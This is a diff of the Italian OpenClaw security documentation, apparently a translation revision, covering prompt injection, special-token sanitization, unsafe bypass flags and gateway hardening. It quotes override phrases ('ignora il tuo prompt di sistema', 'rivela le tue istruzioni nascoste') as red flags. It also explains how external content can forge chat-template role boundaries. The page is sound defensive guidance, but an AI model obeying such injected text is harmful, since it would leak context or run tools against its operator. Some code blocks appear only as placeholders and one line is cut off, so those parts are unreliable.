controlli di gruppo vengono eseguiti in questo ordine: prima `groupPolicy`/allowlist di gruppo, poi attivazione tramite menzione/risposta. - Rispondere a un messaggio del bot (menzione implicita) **non** aggira allowlist del mittente come `groupAllowFrom`. - - **Nota di sicurezza:** tratta `dmPolicy="open"` e `groupPolicy="open"` come impostazioni di ultima istanza. Dovrebbero essere usate raramente; preferisci abbinamento + allowlist a meno che tu non ti fidi completamente di ogni membro della stanza. + - **Nota di sicurezza:** tratta `dmPolicy="open"` e `groupPolicy="open"` come impostazioni di ultima risorsa. Dovrebbero essere usate pochissimo; preferisci associazione + allowlist a meno che tu non ti fidi completamente di ogni membro della stanza. Dettagli: [Configurazione](/it/gateway/configuration) e [Gruppi](/it/channels/groups) ## Prompt injection (cos'è, perché è importante) -La prompt injection avviene quando un attaccante crea un messaggio che manipola il modello inducendolo a fare qualcosa di non sicuro (“ignora le tue istruzioni”, “scarica il tuo filesystem”, “segui questo link ed esegui comandi”, ecc.). +La prompt injection avviene quando un attaccante crea un messaggio che manipola il modello inducendolo a fare qualcosa di non sicuro ("ignora le tue istruzioni", "scarica il tuo filesystem", "segui questo link ed esegui comandi", ecc.). -Anche con prompt di sistema robusti, **la prompt injection non è risolta**. I guardrail del prompt di sistema sono solo indicazioni morbide; l'applicazione rigida deriva da policy degli strumenti, approvazioni exec, sandboxing e allowlist dei canali (e gli operatori possono disabilitarli per progettazione). Ciò che aiuta nella pratica: +Anche con system prompt robusti, **la prompt injection non è risolta**. Le guardrail del system prompt sono solo indicazioni morbide; l'applicazione rigida deriva da policy degli strumenti, approvazioni exec, sandboxing e allowlist dei canali (e gli operatori possono disabilitarle per progettazione). Cosa aiuta nella pratica: -- Mantieni bloccati i DM in ingresso (abbinamento/liste consentite). -- Preferisci il gating tramite menzione nei gruppi; evita bot “sempre attivi” nelle stanze pubbliche. +- Mantieni bloccati i DM in ingresso (abbinamento/allowlist). +- Preferisci il gating tramite menzione nei gruppi; evita i bot “sempre attivi” nelle stanze pubbliche. - Considera link, allegati e istruzioni incollate come ostili per impostazione predefinita. -- Esegui gli strumenti sensibili in una sandbox; tieni i segreti fuori dal filesystem raggiungibile dall’agente. -- Nota: il sandboxing è opt-in. Se la modalità sandbox è disattivata, `host=auto` implicito si risolve nell'host del Gateway. `host=sandbox` esplicito continua a fallire in modo chiuso perché non è disponibile alcun runtime sandbox. Imposta `host=gateway` se vuoi che quel comportamento sia esplicito nella configurazione. -- Limita gli strumenti ad alto rischio (`exec`, `browser`, `web_fetch`, `web_search`) agli agenti attendibili o a liste consentite esplicite. -- Se inserisci interpreti in allowlist (`python`, `node`, `ruby`, `perl`, `php`, `lua`, `osascript`), abilita `tools.exec.strictInlineEval` affinché le forme di eval inline richiedano comunque un'approvazione esplicita. -- L'analisi dell'approvazione della shell rifiuta anche le forme di espansione dei parametri POSIX (`$VAR`, `$?`, `$$`, `$1`, `$@`, `${…}`) dentro **heredoc non quotati**, quindi un corpo heredoc in allowlist non può aggirare la revisione della allowlist facendo passare l'espansione della shell come testo semplice. Metti tra virgolette il terminatore heredoc (per esempio `<<'EOF'`) per optare per la semantica di corpo letterale; gli heredoc non quotati che avrebbero espanso variabili vengono rifiutati. -- **La scelta del modello conta:** i modelli più vecchi/più piccoli/legacy sono significativamente meno robusti contro prompt injection e uso improprio degli strumenti. Per agenti con strumenti abilitati, usa il modello più forte di ultima generazione, rafforzato per le istruzioni, disponibile. +- Esegui l’esecuzione di strumenti sensibili in una sandbox; tieni i segreti fuori dal filesystem raggiungibile dall’agente. +- Nota: il sandboxing è attivabile esplicitamente. Se la modalità sandbox è disattivata, `host=auto` implicito si risolve nell’host del Gateway. `host=sandbox` esplicito continua a fallire in modo chiuso perché non è disponibile alcun runtime sandbox. Imposta `host=gateway` se vuoi che quel comportamento sia esplicito nella configurazione. +- Limita gli strumenti ad alto rischio (`exec`, `browser`, `web_fetch`, `web_search`) ad agenti attendibili o ad allowlist esplicite. +- Se inserisci interpreti in allowlist (`python`, `node`, `ruby`, `perl`, `php`, `lua`, `osascript`), abilita `tools.exec.strictInlineEval` in modo che le forme di eval inline richiedano comunque un’approvazione esplicita. +- L’analisi dell’approvazione della shell rifiuta anche le forme di espansione dei parametri POSIX (`$VAR`, `$?`, `$$`, `$1`, `$@`, `${…}`) all’interno di **heredoc non quotati**, quindi un corpo heredoc in allowlist non può far passare di nascosto l’espansione della shell oltre la revisione dell’allowlist come testo semplice. Quota il terminatore heredoc (ad esempio `<<'EOF'`) per scegliere la semantica del corpo letterale; gli heredoc non quotati che avrebbero espanso variabili vengono rifiutati. +- **La scelta del modello conta:** i modelli più vecchi, più piccoli o legacy sono significativamente meno robusti contro la prompt injection e l’uso improprio degli strumenti. Per agenti con strumenti abilitati, usa il modello di ultima generazione più potente e rinforzato per le istruzioni disponibile. -Segnali di allarme da trattare come non attendibili: +Segnali d’allarme da trattare come non attendibili: - “Leggi questo file/URL e fai esattamente ciò che dice.” - “Ignora il tuo prompt di sistema o le regole di sicurezza.” - “Rivela le tue istruzioni nascoste o gli output degli strumenti.” - “Incolla il contenuto completo di ~/.openclaw o dei tuoi log.” -## Sanitizzazione dei token speciali nei contenuti esterni +## Sanificazione dei token speciali nel contenuto esterno -OpenClaw rimuove dai contenuti esterni e dai metadati incapsulati i comuni letterali di token speciali dei template di chat LLM self-hosted prima che raggiungano il modello. Le famiglie di marker coperte includono Qwen/ChatML, Llama, Gemma, Mistral, Phi e i token di ruolo/turno GPT-OSS. +OpenClaw rimuove i comuni letterali di token speciali dei template di chat LLM self-hosted dal contenuto esterno incapsulato e dai metadati prima che raggiungano il modello. Le famiglie di marker coperte includono Qwen/ChatML, Llama, Gemma, Mistral, Phi e i token di ruolo/turno GPT-OSS. Perché: -- Backend compatibili con OpenAI che frontano modelli self-hosted a volte preservano i token speciali che compaiono nel testo utente, invece di mascherarli. Un attaccante che può scrivere nei contenuti esterni in ingresso (una pagina recuperata, il corpo di un'email, l'output di uno strumento per contenuti di file) potrebbe altrimenti iniettare un confine sintetico di ruolo `assistant` o `system` e sfuggire ai guardrail del contenuto incapsulato. -- La sanitizzazione avviene al livello di incapsulamento dei contenuti esterni, quindi si applica uniformemente agli strumenti di fetch/read e ai contenuti dei canali in ingresso invece di essere per provider. -- Le risposte in uscita del modello hanno già un sanitizer separato che rimuove ``, ``, ``, `` trapelati e scaffolding runtime interno simile dalle risposte visibili all'utente al confine finale di consegna del canale. Il sanitizer dei contenuti esterni è la controparte in ingresso. +- I backend compatibili con OpenAI che fanno da front-end a modelli self-hosted a volte preservano i token speciali che compaiono nel testo utente, invece di mascherarli. Un attaccante che può scrivere nel contenuto esterno in ingresso (una pagina recuperata, il corpo di un’email, l’output di uno strumento che legge il contenuto di un file) potrebbe altrimenti iniettare un confine sintetico di ruolo `assistant` o `system` ed eludere le protezioni del contenuto incapsulato. +- La sanificazione avviene al livello di incapsulamento del contenuto esterno, quindi si applica uniformemente agli strumenti di fetch/lettura e al contenuto dei canali in ingresso invece di essere specifica per provider. +- Le risposte in uscita del modello hanno già un sanificatore separato che rimuove dalle risposte visibili all’utente, al confine finale di consegna del canale, scaffold interni del runtime trapelati come ``, ``, ``, `` e simili. Il sanificatore del contenuto esterno è la controparte in ingresso. -Questo non sostituisce gli altri rafforzamenti in questa pagina: `dmPolicy`, liste consentite, approvazioni exec, sandboxing e `contextVisibility` svolgono ancora il lavoro principale. Chiude uno specifico bypass a livello di tokenizer contro stack self-hosted che inoltrano il testo utente con token speciali intatti. +Questo non sostituisce gli altri rafforzamenti in questa pagina: `dmPolicy`, allowlist, approvazioni exec, sandboxing e `contextVisibility` svolgono ancora il lavoro principale. Chiude uno specifico bypass a livello di tokenizer contro stack self-hosted che inoltrano testo utente con token speciali intatti. -## Flag di bypass non sicuri dei contenuti esterni +## Flag di bypass non sicuri per il contenuto esterno -OpenClaw include flag di bypass espliciti che disabilitano l'incapsulamento di sicurezza dei contenuti esterni: +OpenClaw include flag di bypass espliciti che disabilitano l’incapsulamento di sicurezza del contenuto esterno: - `hooks.mappings[].allowUnsafeExternalContent` - `hooks.gmail.allowUnsafeExternalContent` - Campo payload Cron `allowUnsafeExternalContent` -Indicazioni: +Linee guida: -- Lasciali non impostati/falsi in produzione. -- Abilitali solo temporaneamente per debugging strettamente circoscritto. -- Se abilitati, isola quell'agente (sandbox + strumenti minimi + namespace di sessione dedicato). +- Mantienili non impostati/falsi in produzione. +- Abilitali solo temporaneamente per debugging con ambito strettamente delimitato. +- Se abilitati, isola quell’agente (sandbox + strumenti minimi + namespace di sessione dedicato). Nota sul rischio degli hook: -- I payload degli hook sono contenuti non attendibili, anche quando la consegna proviene da sistemi che controlli (contenuti mail/docs/web possono trasportare prompt injection). -- I tier di modelli deboli aumentano questo rischio. Per l'automazione guidata da hook, preferisci tier di modelli moderni e forti e mantieni rigida la policy degli strumenti (`tools.profile: "messaging"` o più restrittiva), più sandboxing dove possibile. +- I payload degli hook sono contenuti non attendibili, anche quando la consegna proviene da sistemi che controlli (contenuti email/docs/web possono trasportare prompt injection). +- I livelli di modelli deboli aumentano questo rischio. Per l'automazione guidata da hook, preferisci livelli di modelli moderni e robusti e mantieni stretta la policy degli strumenti (`tools.profile: "messaging"` o più restrittiva), oltre al sandboxing dove possibile. -### La prompt injection non richiede DM pubblici +### La prompt injection non richiede messaggi diretti pubblici Anche se **solo tu** puoi inviare messaggi al bot, la prompt injection può comunque avvenire tramite -qualsiasi **contenuto non attendibile** letto dal bot (risultati di ricerca/fetch web, pagine browser, -email, documenti, allegati, log/codice incollati). In altre parole: il mittente non è +qualsiasi **contenuto non attendibile** letto dal bot (risultati di ricerca/fetch web, pagine del browser, +email, docs, allegati, log/codice incollati). In altre parole: il mittente non è l'unica superficie di minaccia; il **contenuto stesso** può trasportare istruzioni avversarie. -Quando gli strumenti sono abilitati, il rischio tipico è esfiltrare contesto o attivare -chiamate di strumenti. Riduci il raggio d'impatto: +Quando gli strumenti sono abilitati, il rischio tipico è esfiltrare il contesto o attivare +chiamate agli strumenti. Riduci il raggio d'impatto: - Usando un **agente lettore** di sola lettura o con strumenti disabilitati per riassumere contenuti non attendibili, quindi passando il riassunto al tuo agente principale. -- Tenendo `web_search` / `web_fetch` / `browser` disattivati per gli agenti con strumenti abilitati, salvo necessità. -- Per gli input URL OpenResponses (`input_file` / `input_image`), imposta +- Mantenendo `web_search` / `web_fetch` / `browser` disattivati per gli agenti con strumenti abilitati, salvo necessità. +- Per gli input URL di OpenResponses (`input_file` / `input_image`), imposta allowlist strette `gateway.http.endpoints.responses.files.urlAllowlist` e - `gateway.http.endpoints.responses.images.urlAllowlist` restrittivi, e mantieni `maxUrlParts` basso. + `gateway.http.endpoints.responses.images.urlAllowlist`, e mantieni `maxUrlParts` basso. Le allowlist vuote sono trattate come non impostate; usa `files.allowUrl: false` / `images.allowUrl: false` - se vuoi disabilitare completamente il recupero URL. -- Per gli input file OpenResponses, il testo `input_file` decodificato viene comunque iniettato come + se vuoi disabilitare completamente il recupero degli URL. +- Per gli input di file di OpenResponses, il testo decodificato di `input_file` viene comunque inserito come **contenuto esterno non attendibile**. Non fare affidamento sul fatto che il testo del file sia attendibile solo perché - il Gateway lo ha decodificato localmente. Il blocco iniettato porta comunque marker di confine espliciti + il Gateway lo ha decodificato localmente. Il blocco inserito contiene comunque marcatori di confine espliciti `<<>>` più metadati `Source: External`, anche se questo percorso omette il banner più lungo `SECURITY NOTICE:`. -- Lo stesso incapsulamento basato su marker viene applicato quando la comprensione dei media estrae testo - da documenti allegati prima di aggiungere quel testo al prompt multimediale. -- Abilitando sandboxing e allowlist rigorose degli strumenti per qualsiasi agente che tocchi input non attendibili. +- Lo stesso wrapping basato su marcatori viene applicato quando la comprensione dei media estrae testo + dai documenti allegati prima di aggiungere quel testo al prompt multimediale. +- Abilitando il sandboxing e allowlist rigorose degli strumenti per qualsiasi agente che tocchi input non attendibile. - Tenendo i segreti fuori dai prompt; passali invece tramite env/config sull'host del Gateway. ### Backend LLM self-hosted -Backend self-hosted compatibili con OpenAI come vLLM, SGLang, TGI, LM Studio, -o stack tokenizer Hugging Face personalizzati possono differire dai provider hosted nel modo in cui +I backend self-hosted compatibili con OpenAI come vLLM, SGLang, TGI, LM Studio, +o stack di tokenizer Hugging Face personalizzati possono differire dai provider hosted nel modo in cui vengono gestiti i token speciali dei template di chat. Se un backend tokenizza stringhe letterali -come `<|im_start|>`, `<|start_header_id|>` o `` come -token strutturali dei template di chat dentro il contenuto utente, il testo non attendibile può tentare di -forgiare confini di ruolo al livello del tokenizer. +come `<|im_start| -OpenClaw rimuove i comuni letterali di token speciali delle famiglie di modelli dai -contenuti esterni incapsulati prima di inviarli al modello. Mantieni abilitato -l'incapsulamento dei contenuti esterni e preferisci impostazioni del backend che separino o escapino i token speciali -nei contenuti forniti dall'utente quando disponibili. Provider hosted come OpenAI -e Anthropic applicano già la propria sanitizzazione lato richiesta. +OpenClaw rimuove i letterali di token speciali comuni delle famiglie di modelli dal contenuto esterno incapsulato prima di inviarlo al modello. Mantieni abilitato l'incapsulamento del contenuto esterno e, quando disponibili, preferisci impostazioni del backend che suddividono o eseguono l'escape dei token speciali nei contenuti forniti dall'utente. I provider ospitati come OpenAI e Anthropic applicano già la propria sanitizzazione lato richiesta. -### Forza del modello (nota di sicurezza) +### Potenza del modello (nota sulla sicurezza) -La resistenza alla prompt injection **non** è uniforme tra i tier di modelli. I modelli più piccoli/economici sono generalmente più suscettibili a uso improprio degli strumenti e dirottamento delle istruzioni, soprattutto con prompt avversari. +La resistenza alla prompt injection **non** è uniforme tra i livelli di modello. I modelli più piccoli/economici sono generalmente più suscettibili all'uso improprio degli strumenti e al dirottamento delle istruzioni, soprattutto con prompt avversari. -Per agenti con strumenti abilitati o agenti che leggono contenuti non attendibili, il rischio di prompt injection con modelli più vecchi/più piccoli è spesso troppo alto. Non eseguire questi carichi di lavoro su tier di modelli deboli. +Per agenti con strumenti abilitati o agenti che leggono contenuti non attendibili, il rischio di prompt injection con modelli più vecchi/piccoli è spesso troppo alto. Non eseguire questi carichi di lavoro su livelli di modello deboli. Raccomandazioni: -- **Usa il modello di ultima generazione e del tier migliore** per qualsiasi bot che possa eseguire strumenti o toccare file/reti. -- **Non usare tier più vecchi/più deboli/più piccoli** per agenti con strumenti abilitati o inbox non attendibili; il rischio di prompt injection è troppo alto. -- Se devi usare un modello più piccolo, **riduci il raggio d'impatto** (strumenti di sola lettura, sandboxing forte, accesso minimo al filesystem, allowlist rigorose). -- Quando esegui modelli piccoli, **abilita il sandboxing per tutte le sessioni** e **disabilita web_search/web_fetch/browser** salvo che gli input siano strettamente controllati. +- **Usa il modello di ultima generazione e di livello migliore** per qualsiasi bot che possa eseguire strumenti o accedere a file/reti. +- **Non usare livelli più vecchi/deboli/piccoli** per agenti con strumenti abilitati o caselle di posta non attendibili; il rischio di prompt injection è troppo alto. +- Se devi usare un modello più piccolo, **riduci il raggio d'impatto** (strumenti di sola lettura, sandboxing robusto, accesso minimo al filesystem, allowlist rigorose). +- Quando esegui modelli piccoli, **abilita il sandboxing per tutte le sessioni** e **disabilita web_search/web_fetch/browser** a meno che gli input non siano strettamente controllati. - Per assistenti personali solo chat con input attendibile e senza strumenti, i modelli più piccoli di solito vanno bene. -## Reasoning e output verboso nei gruppi +## Ragionamento e output dettagliato nei gruppi -`/reasoning`, `/verbose` e `/trace` possono esporre reasoning interno, output degli strumenti -o diagnostica dei Plugin che -non erano destinati a un canale pubblico. Nelle impostazioni di gruppo, trattali come **solo debug** -e tienili disattivati salvo che tu ne abbia esplicitamente bisogno. +`/reasoning`, `/verbose` e `/trace` possono esporre ragionamento interno, output degli strumenti o diagnostica dei Plugin che non erano destinati a un canale pubblico. Nei contesti di gruppo, trattali come **solo debug** e tienili disattivati a meno che non ti servano esplicitamente. Indicazioni: -- Tieni `/reasoning`, `/verbose` e `/trace` disabilitati nelle stanze pubbliche. -- Se li abiliti, fallo solo in DM attendibili o stanze strettamente controllate. -- Ricorda: l'output verbose e trace può includere argomenti degli strumenti, URL, diagnostica dei Plugin e dati visti dal modello. +- Mantieni `/reasoning`, `/verbose` e `/trace` disabilitati nelle stanze pubbliche. +- Se li abiliti, fallo solo in DM fidati o in stanze strettamente controllate. +- Ricorda: l'output verbose e trace può includere argomenti degli strumenti, URL, diagnostica dei plugin e dati visti dal modello. ## Esempi di rafforzamento della configurazione ### Permessi dei file -Mantieni config + stato privati sull'host del Gateway: +Mantieni configurazione e stato privati sull'host del gateway: -- `~/.openclaw/openclaw.json`: `600` (solo lettura/scrittura utente) +- `~/.openclaw/openclaw.json`: `600` (solo lettura/scrittura per l'utente) - `~/.openclaw`: `700` (solo utente) -`openclaw doctor` può avvisare e proporre di rendere più restrittivi questi permessi. +`openclaw doctor` può avvisare e offrire di rendere più restrittivi questi permessi. ### Esposizione di rete (bind, porta, firewall) Il Gateway multiplexa **WebSocket + HTTP** su una singola porta: - Predefinita: `18789` -- Config/flag/env: `gateway.port`, `--port`, `OPENCLAW_GATEWAY_PORT` +- Configurazione/flag/env: `gateway.port`, `--port`, `OPENCLAW_GATEWAY_PORT` -Questa superficie HTTP include la Control UI e l'host canvas: +Questa superficie HTTP include la UI di controllo e l'host canvas: -- Control UI (asset SPA) (percorso base predefinito `/`) -- Host canvas: `/__openclaw__/canvas/` e `/__openclaw__/a2ui/` (HTML/JS arbitrario; trattalo come contenuto non attendibile) +- UI di controllo (asset SPA) (percorso base predefinito `/`) +- Host canvas: `/__openclaw__/canvas/` e `/__openclaw__/a2ui/` (HTML/JS arbitrari; trattali come contenuto non attendibile) -Se carichi contenuti canvas in un browser normale, trattali come qualsiasi altra pagina web non attendibile: +Se carichi contenuto canvas in un browser normale, trattalo come qualsiasi altra pagina web non attendibile: - Non esporre l'host canvas a reti/utenti non attendibili. -- Non fare condividere ai contenuti canvas la stessa origine delle superfici web privilegiate salvo che tu comprenda pienamente le implicazioni. +- Non fare in modo che il contenuto canvas condivida la stessa origine di superfici web privilegiate a meno che tu non comprenda pienamente le implicazioni. La modalità bind controlla dove il Gateway ascolta: - `gateway.bind: "loopback"` (predefinita): solo i client locali possono connettersi. -- Bind non-loopback (`"lan"`, `"tailnet"`, `"custom"`) espandono la superficie d'attacco. Usali solo con autenticazione del Gateway (token/password condiviso o proxy attendibile configurato correttamente) e un firewall reale. +- I bind non loopback (`"lan"`, `"tailnet"`, `"custom"`) ampliano la superficie di attacco. Usali solo con autenticazione del gateway (token condiviso/password o un proxy attendibile configurato correttamente) e un firewall reale. Regole pratiche: -- Preferisci Tailscale Serve rispetto ai bind LAN (Serve mantiene il Gateway su loopback, e Tailscale gestisce l'accesso). -- Se devi fare bind sulla LAN, limita la porta tramite firewall a una allowlist stretta di IP sorgente; non inoltrarla ampiamente. +- Preferisci Tailscale Serve ai bind LAN (Serve mantiene il Gateway su loopback e Tailscale gestisce l'accesso). +- Se devi eseguire il bind alla LAN, limita via firewall la porta a una allowlist ristretta di IP sorgente; non inoltrare ampiamente la porta. - Non esporre mai il Gateway senza autenticazione su `0.0.0.0`. ### Pubblicazione delle porte Docker con UFW -Se esegui OpenClaw con Docker su un VPS, ricorda che le porte container pubblicate -(`-p HOST:CONTAINER` o Compose `ports:`) vengono instradate tramite le catene di forwarding di Docker, -non solo tramite le regole host `INPUT`. +Se esegui OpenClaw con Docker su una VPS, ricorda che le porte dei container pubblicate +(`-p HOST:CONTAINER` o `ports:` di Compose) vengono instradate tramite le catene di forwarding +di Docker, non solo tramite le regole `INPUT` dell'host. -Per mantenere il traffico Docker allineato alla tua policy firewall, applica le regole in -`DOCKER-USER` (questa catena viene valutata prima delle regole accept di Docker). +Per mantenere il traffico Docker allineato alla tua politica firewall, applica le regole in +`DOCKER-USER` (questa catena viene valutata prima delle regole di accettazione di Docker). Su molte distribuzioni moderne, `iptables`/`ip6tables` usano il frontend `iptables-nft` e applicano comunque queste regole al backend nftables. Esempio minimo di allowlist (IPv4): - -```bash -# /etc/ufw/after.rules (append as its own *filter section) -*filter -:DOCKER-USER - [0:0] --A DOCKER-USER -m conntrack --ctstate ESTABLISHED,RELATED -j RETURN --A DOCKER-USER -s 127.0.0.0/8 -j RETURN --A DOCKER-USER -s 10.0.0.0/8 -j RETURN --A DOCKER-USER -s 172.16.0.0/12 -j RETURN --A DOCKER-USER -s 192.168.0.0/16 -j RETURN --A DOCKER-USER -s 100.64.0.0/10 -j RETURN --A DOCKER-USER -p tcp --dport 80 -j RETURN --A DOCKER-USER -p tcp --dport 443 -j RETURN --A DOCKER-USER -m conntrack --ctstate NEW -j DROP --A DOCKER-USER -j RETURN -COMMIT -``` - +__OC_I18N_900008__ IPv6 ha tabelle separate. Aggiungi una policy corrispondente in `/etc/ufw/after6.rules` se Docker IPv6 è abilitato. -Evita di hardcodare nomi di interfaccia come `eth0` negli snippet della documentazione. I nomi delle interfacce -variano tra le immagini VPS (`ens3`, `enp*`, ecc.) e le discrepanze possono accidentalmente -saltare la tua regola deny. - -Validazione rapida dopo il reload: - -```bash -ufw reload -iptables -S DOCKER-USER -ip6tables -S DOCKER-USER -nmap -sT -p 1-65535 --open -``` +Evita di codificare in modo fisso nomi di interfacce come `eth0` negli snippet della documentazione. I nomi delle interfacce +variano tra le immagini VPS (`ens3`, `enp*`, ecc.) e le mancate corrispondenze possono accidentalmente +saltare la tua regola di negazione. +Convalida rapida dopo il reload: +__OC_I18N_900009__ Le porte esterne previste dovrebbero essere solo quelle che esponi intenzionalmente (per la maggior parte delle -configurazioni: SSH + le porte del tuo reverse proxy). +configurazioni: SSH + le porte del tuo proxy inverso). -### Discovery mDNS/Bonjour +### Rilevamento mDNS/Bonjour -Il Gateway trasmette la propria presenza tramite mDNS (`_openclaw-gw._tcp` sulla porta 5353) per la discovery dei dispositivi locali. In modalità completa, questo include record TXT che possono esporre dettagli operativi: +Il Gateway annuncia la propria presenza tramite mDNS (`_openclaw-gw._tcp` sulla porta 5353) per il rilevamento dei dispositivi locali. In modalità completa, questo include record TXT che possono esporre dettagli operativi: -- `cliPath`: percorso completo del file system al binario CLI (rivela nome utente e posizione di installazione) -- `sshPort`: annuncia la disponibilità SSH sull’host +- `cliPath`: percorso completo del filesystem al binario della CLI (rivela nome utente e posizione di installazione) +- `sshPort`: pubblicizza la disponibilità SSH sull'host - `displayName`, `lanHost`: informazioni sul nome host -**Considerazione di sicurezza operativa:** trasmettere dettagli dell’infrastruttura rende la ricognizione più facile per chiunque sulla rete locale. Anche informazioni “innocue” come i percorsi del file system e la disponibilità SSH aiutano gli aggressori a mappare il tuo ambiente. +**Considerazione di sicurezza operativa:** Trasmettere dettagli dell'infrastruttura rende la ricognizione più facile per chiunque si trovi sulla rete locale. Anche informazioni "innocue" come percorsi del filesystem e disponibilità SSH aiutano gli attaccanti a mappare il tuo ambiente. **Raccomandazioni:** -1. **Modalità minima** (predefinita, consigliata per Gateway esposti): ometti i campi sensibili dalle trasmissioni mDNS: - - ```json5 - { - discovery: { - mdns: { mode: "minimal" }, - }, - } - ``` - -2. **Disabilita completamente** se non hai bisogno della scoperta dei dispositivi locali: - - ```json5 - { - discovery: { - mdns: { mode: "off" }, - }, - } - ``` - +1. **Modalità minima** (predefinita, consigliata per Gateway esposti): ometti i campi sensibili dai broadcast mDNS: +__OC_I18N_900010__ +2. **Disabilita del tutto** se non hai bisogno della scoperta dei dispositivi locali: +__OC_I18N_900011__ 3. **Modalità completa** (opt-in): includi `cliPath` + `sshPort` nei record TXT: +__OC_I18N_900012__ +4. **Variabile d'ambiente** (alternativa): imposta `OPENCLAW_DISABLE_BONJOUR=1` per disabilitare mDNS senza modifiche alla configurazione. - ```json5 - { - discovery: { - mdns: { mode: "full" }, - }, - } - ``` +In modalità minima, il Gateway trasmette comunque abbastanza informazioni per la scoperta dei dispositivi (`role`, `gatewayPort`, `transport`) ma omette `cliPath` e `sshPort`. Le app che hanno bisogno delle informazioni sul percorso della CLI possono recuperarle invece tramite la connessione WebSocket autenticata. -4. **Variabile d’ambiente** (alternativa): imposta `OPENCLAW_DISABLE_BONJOUR=1` per disabilitare mDNS senza modifiche alla configurazione. +### Bloccare il WebSocket del Gateway (autenticazione locale) -In modalità minima, il Gateway trasmette comunque quanto basta per la scoperta dei dispositivi (`role`, `gatewayPort`, `transport`) ma omette `cliPath` e `sshPort`. Le app che hanno bisogno delle informazioni sul percorso CLI possono recuperarle invece tramite la connessione WebSocket autenticata. +L'autenticazione del Gateway è **richiesta per impostazione predefinita**. Se non è configurato alcun percorso di autenticazione valido per il gateway, +il Gateway rifiuta le connessioni WebSocket (fail-closed). -### Blocca il WebSocket del Gateway (autenticazione locale) - -L’autenticazione del Gateway è **obbligatoria per impostazione predefinita**. Se non è configurato alcun percorso di autenticazione gateway valido, -il Gateway rifiuta le connessioni WebSocket (chiusura sicura in caso di errore). - -L’onboarding genera un token per impostazione predefinita (anche per loopback), quindi +L'onboarding genera un token per impostazione predefinita (anche per loopback), quindi i client locali devono autenticarsi. -Imposta un token in modo che **tutti** i client WS debbano autenticarsi: - -```json5 -{ - gateway: { - auth: { mode: "token", token: "your-token" }, - }, -} -``` - +Imposta un token affinché **tutti** i client WS debbano autenticarsi: +__OC_I18N_900013__ Doctor può generarne uno per te: `openclaw doctor --generate-gateway-token`. -`gateway.remote.token` e `gateway.remote.password` sono sorgenti di credenziali client. Da soli **non** proteggono l’accesso WS locale. I percorsi di chiamata locali possono usare `gateway.remote.*` come fallback solo quando `gateway.auth.*` non è impostato. Se `gateway.auth.token` o `gateway.auth.password` è configurato esplicitamente tramite SecretRef e non viene risolto, la risoluzione fallisce in modo chiuso (nessun fallback remoto che mascheri l’errore). +`gateway.remote.token` e `gateway.remote.password` sono sorgenti di credenziali client. Da sole **non** proteggono l'accesso WS locale. I percorsi di chiamata locali possono usare `gateway.remote.*` come fallback solo quando `gateway.auth.*` non è impostato. Se `gateway.auth.token` o `gateway.auth.password` è configurato esplicitamente tramite SecretRef e non viene risolto, la risoluzione fallisce in modo chiuso (nessuna mascheratura tramite fallback remoto). -Facoltativo: blocca il TLS remoto con `gateway.remote.tlsFingerprint` quando usi `wss://`. -Il testo in chiaro `ws://` è consentito per impostazione predefinita solo su loopback. Per percorsi -di rete privata attendibili, imposta `OPENCLAW_ALLOW_INSECURE_PRIVATE_WS=1` sul processo client come -misura di emergenza. È intenzionalmente solo un ambiente di processo, non una +Opzionale: fissa il TLS remoto con `gateway.remote.tlsFingerprint` quando usi `wss://`. +Il testo in chiaro `ws://` è per impostazione predefinita solo loopback. Per percorsi di rete privata +attendibili, imposta `OPENCLAW_ALLOW_INSECURE_PRIVATE_WS=1` sul processo client come +misura di emergenza. Questo è intenzionalmente solo nell'ambiente del processo, non una chiave di configurazione `openclaw.json`. -L’associazione mobile e le route gateway Android manuali o scansionate sono più restrittive: -il testo in chiaro è accettato per loopback, ma LAN private, link-local, `.local` e -nomi host senza punto devono usare TLS, a meno che tu non scelga esplicitamente il percorso -in chiaro su rete privata attendibile. +Il pairing mobile e le rotte gateway Android manuali o scansionate sono più restrittivi: +il testo in chiaro è accettato per loopback, ma i nomi host private-LAN, link-local, `.local` e +senza punti devono usare TLS a meno che tu non scelga esplicitamente il percorso in chiaro +per rete privata attendibile. -Associazione dispositivo locale: +Pairing dei dispositivi locali: -- L’associazione del dispositivo viene approvata automaticamente per connessioni dirette a local loopback, così i client sullo stesso host restano fluidi. -- OpenClaw ha anche un percorso stretto di auto-connessione backend/container-locale per flussi helper attendibili con segreto condiviso. -- Le connessioni tailnet e LAN, inclusi i bind tailnet sullo stesso host, sono trattate come remote per l’associazione e richiedono comunque approvazione. -- La prova da intestazione inoltrata su una richiesta loopback esclude la località loopback. L’approvazione automatica dell’upgrade dei metadati ha un ambito ristretto. Vedi - [Associazione Gateway](/it/gateway/pairing) per entrambe le regole. +- Il pairing dei dispositivi viene approvato automaticamente per connessioni dirette local loopback, per rendere fluidi i client sullo stesso host. +- OpenClaw ha anche un percorso ristretto di auto-connessione backend/container-locale per flussi helper attendibili con segreto condiviso. +- Le connessioni tailnet e LAN, inclusi i bind tailnet sullo stesso host, sono trattate come + remote per il pairing e richiedono comunque l'approvazione. +- La presenza di header inoltrati in una richiesta loopback squalifica la località loopback. + L'auto-approvazione dell'aggiornamento dei metadati ha un ambito ristretto. Consulta + [Pairing del Gateway](/gateway/pairing) per entrambe le regole. Modalità di autenticazione: - `gateway.auth.mode: "token"`: token bearer condiviso (consigliato per la maggior parte delle configurazioni). - `gateway.auth.mode: "password"`: autenticazione con password (preferisci impostarla tramite env: `OPENCLAW_GATEWAY_PASSWORD`). -- `gateway.auth.mode: "trusted-proxy"`: considera attendibile un reverse proxy consapevole dell’identità per autenticare gli utenti e passare l’identità tramite intestazioni (vedi [Autenticazione tramite proxy attendibile](/it/gateway/trusted-proxy-auth)). +- `gateway.auth.mode: "trusted-proxy"`: considera attendibile un reverse proxy consapevole dell'identità per autenticare gli utenti e passare l'identità tramite header (vedi [Autenticazione con proxy attendibile](/gateway/trusted-proxy-auth)). Checklist di rotazione (token/password): 1. Genera/imposta un nuovo segreto (`gateway.auth.token` o `OPENCLAW_GATEWAY_PASSWORD`). -2. Riavvia il Gateway (o riavvia l’app macOS se supervisiona il Gateway). -3. Aggiorna tutti i client remoti (`gateway.remote.token` / `.password` sulle macchine che chiamano il Gateway). -4. Verifica di non riuscire più a connetterti con le vecchie credenziali. +2. Riavvia il Gateway (o riavvia l'app macOS se supervisiona il Gateway). +3. Aggiorna eventuali client remoti (`gateway.remote.token` / `.password` sulle macchine che chiamano il Gateway). +4. Verifica che non sia più possibile connettersi con le vecchie credenziali. -### Intestazioni di identità Tailscale Serve +### Header di identità Tailscale Serve Quando `gateway.auth.allowTailscale` è `true` (predefinito per 